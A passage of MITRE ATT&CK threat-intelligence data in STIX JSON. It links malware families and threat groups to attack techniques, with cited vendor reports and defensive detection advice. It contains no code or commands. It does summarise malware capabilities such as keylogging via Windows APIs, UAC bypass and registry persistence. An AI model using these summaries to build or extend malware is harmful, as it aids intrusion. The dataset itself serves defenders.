July 2020", "url": "https://unit42.paloaltonetworks.com/valak-evolution/", "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}, {"source_name": "Unit 42 TA551 Jan 2021", "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}, {"source_name": "Secureworks GOLD CABIN", "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."}], "modified": "2021-03-19T21:04:01.259Z", "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3572609a-ee27-4366-a463-24daa46d3d54", "created": "2022-04-19T19:06:24.224Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.", "modified": "2022-04-19T19:06:24.224Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3572a770-9151-42d5-82b5-360002725052", "type": "relationship", "created": "2019-01-30T16:39:54.488Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/", "source_name": "PaloAlto CardinalRat Apr 2017"}], "modified": "2019-06-10T18:25:51.757Z", "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) checks its current working directory upon execution and also contains watchdog functionality that ensures its executable is located in the correct path (else it will rewrite the payload).(Citation: PaloAlto CardinalRat Apr 2017)", "relationship_type": "uses", "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3574efdf-c9f0-4515-806e-a9a5437be02a", "type": "relationship", "created": "2021-03-19T13:27:52.117Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-03-19T13:27:52.117Z", "description": "(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3577cdd8-c9fd-4b97-94a5-6332f9cad77a", "type": "relationship", "created": "2021-06-10T14:58:56.728Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-10T14:58:56.728Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) has been distributed to victims through malicious e-mail attachments.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3578dfa3-12cf-4788-aeba-e3478981177b", "created": "2024-03-11T13:37:32.275Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-11T13:37:32.275Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e", "target_ref": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}], "modified": "2020-01-09T17:15:14.820Z", "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has a command to list its directory and logical drives.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--35868441-95dc-41af-98d3-442aee51d777", "created": "2023-10-02T00:46:18.353Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T00:46:18.353Z", "description": "Log cloud API calls to assume, create, or impersonate additional roles, policies, and permissions. Review uses of just-in-time access to ensure that any justifications provided are valid and only expected actions were taken.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--35887eab-0306-4e28-910d-2235207cc621", "type": "relationship", "created": "2021-06-07T13:46:13.195Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}, {"source_name": "NCC Group Fivehands June 2021", "url": "https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/", "description": "Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}], "modified": "2021-06-24T13:35:43.541Z", "description": "[FIVEHANDS](https://attack.mitre.org/software/S0618) can receive a command line argument to limit file encryption to specified directories.(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)", "relationship_type": "uses", "source_ref": "malware--f464354c-7103-47c6-969b-8766f0157ed2", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3593e540-dfc0-4995-8640-db52961b3666", "type": "relationship", "created": "2022-02-02T15:13:34.001Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "modified": "2022-02-02T15:13:34.001Z", "description": "[LitePower](https://attack.mitre.org/software/S0680) has the ability to download payloads containing system commands to a compromised host.(Citation: Kaspersky WIRTE November 2021)", "relationship_type": "uses", "source_ref": "malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3598d32e-306d-421d-af3c-8c9f5d1628a2", "type": "relationship", "created": "2019-01-29T19:36:02.824Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", "source_name": "ESET Carbon Mar 2017"}], "modified": "2019-04-12T14:43:22.710Z", "description": "[Carbon](https://attack.mitre.org/software/S0335) enumerates values in the Registry.(Citation: ESET Carbon Mar 2017)", "relationship_type": "uses", "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--359df603-3053-419e-82f9-1fc57715caf5", "created": "2023-04-11T22:28:48.988Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T22:28:48.988Z", "description": "Monitor for unexpected deletions of user accounts. Windows event logs may highlight activity associated with an adversary's attempt to remove an account (e.g., `Event ID 4726 - A user account was deleted`).\n\nAlerting on these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate account modification events with other indications of malicious activity where possible.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--35a70cfa-6bd8-4ff6-93e0-6fca903223f5", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--35a9c64c-c305-46bf-a216-c8bb1b051614", "created": "2017-05-31T21:33:27.046Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Unit 42 IronNetInjector February 2021 ", "url": "https://unit42.paloaltonetworks.com/ironnetinjector/", "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."}, {"source_name": "Secureworks IRON HUNTER Profile", "url": "http://www.secureworks.com/research/threat-profiles/iron-hunter", "description": "Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."}, {"source_name": "Symantec Waterbug", "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1", "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Symantec Waterbug)(Citation: Unit 42 IronNetInjector February 2021 )(Citation: Secureworks IRON HUNTER Profile)", "modified": "2022-05-20T17:02:59.591Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--35aac341-5371-42e8-ad93-3ab94a11b51a", "type": "relationship", "created": "2017-05-31T21:33:27.070Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Poseidon Group", "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}], "modified": "2020-03-18T15:34:54.805Z", "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.(Citation: Kaspersky Poseidon Group)", "relationship_type": "uses", "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--35acff32-7f4e-4937-b05f-baa27f1e745b", "type": "relationship", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.867Z", "description": "Monitor newly constructed files that may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--35ae6625-8563-493c-8950-1230bd0fd122", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Gamaredon Feb 2017", "description": "Kasza, A. and Reichel, D. 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(2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}, {"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."}], "modified": "2020-09-30T14:29:28.434Z", "description": "(Citation: NCSC APT29 July 2020)(Citation: CISA SoreFang July 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--364f1a31-7710-4b81-91ce-919a89cdedcf", "type": "relationship", "created": "2022-03-26T03:47:58.780Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mythc Documentation", "url": "https://docs.mythic-c2.net/", "description": "Thomas, C. (n.d.). Mythc Documentation. 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(2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. 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Retrieved May 21, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can use  `SetWindowsHookEx` and `GetKeyNameText` to capture keystrokes.(Citation: Talos ROKRAT)(Citation: Volexity InkySquid RokRAT August 2021)", "modified": "2022-04-18T13:38:15.723Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3671c28f-927b-40e0-ba75-079c0aafea5b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. 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Retrieved April 13, 2021."}], "modified": "2021-04-19T17:52:40.800Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used mshta.exe to launch collection scripts.(Citation: Secureworks BRONZE PRESIDENT December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36849ab3-088c-47a5-bcf9-3e68902a2e60", "type": "relationship", "created": "2021-03-15T18:58:38.412Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Ebury Oct 2017", "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", "description": "Vachon, F. (2017, October 30). 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Retrieved September 8, 2021.", "url": "https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-05T08:21:48.521Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) has an embedded second stage DLL payload within the first stage of the malware.(Citation: Gigamon BADHATCH Jul 2019)", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36971cb7-b06e-48d6-9591-15a00b3a5161", "type": "relationship", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.833Z", "description": "Monitor newly executed processes that may achieve persistence by adding a Registry key to the Active Setup of the local machine.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36983a10-4fdb-4bfc-83a0-78f4d11e83df", "type": "relationship", "created": "2020-03-30T19:47:22.076Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT HOPLIGHT Apr 2019", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A", "description": "US-CERT. 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Retrieved December 22, 2020."}], "modified": "2020-12-22T17:07:56.075Z", "description": "[SharpStage](https://attack.mitre.org/software/S0546) has the ability to create persistence for the malware using the Registry autorun key and startup folder.(Citation: Cybereason Molerats Dec 2020) ", "relationship_type": "uses", "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--36a0199f-bce6-4717-a4e4-ce3d75a7ab1c", "created": "2020-04-28T18:12:13.561Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Medium KONNI Jan 2020", "url": "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b", "description": "Karmi, D. (2020, January 4). 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Retrieved January 5, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[KONNI](https://attack.mitre.org/software/S0356) has bypassed UAC by performing token impersonation as well as an RPC-based method, this included bypassing UAC set to \u201cAlwaysNotify\".(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)", "modified": "2022-04-18T21:42:38.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--36a93ca6-ad3b-468a-b5a3-d4676410ae1b", "created": "2024-02-12T20:33:51.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T21:15:09.084Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) will search for cryptocurrency wallets by examining application window names for specific strings.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) extracts information collected via NirSoft tools from the hosting process's memory by first identifying the window through the <code>FindWindow</code> API function.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36aad32e-5300-4db0-b5a2-8b7442123db1", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", "description": "Symantec Security Response Attack Investigation Team. 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Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-19T20:04:12.179Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) malware has injected a Cobalt Strike beacon into Rundll32.exe.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36b27959-d265-4fb6-b33b-3a1e74d43206", "type": "relationship", "created": "2019-04-24T15:28:53.430Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"}, {"url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging", "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", "source_name": "Kaspersky Lab SynAck May 2018"}], "modified": "2020-03-16T18:36:00.142Z", "description": "[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)", "relationship_type": "uses", "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36b2817e-5f07-4f70-927c-8e04b955d5a3", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-20T23:16:11.782Z", "description": "[Dipsind](https://attack.mitre.org/software/S0200) encrypts C2 data with AES256 in ECB mode.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9", "type": "relationship", "created": "2017-05-31T21:33:27.061Z", "created_by_ref": 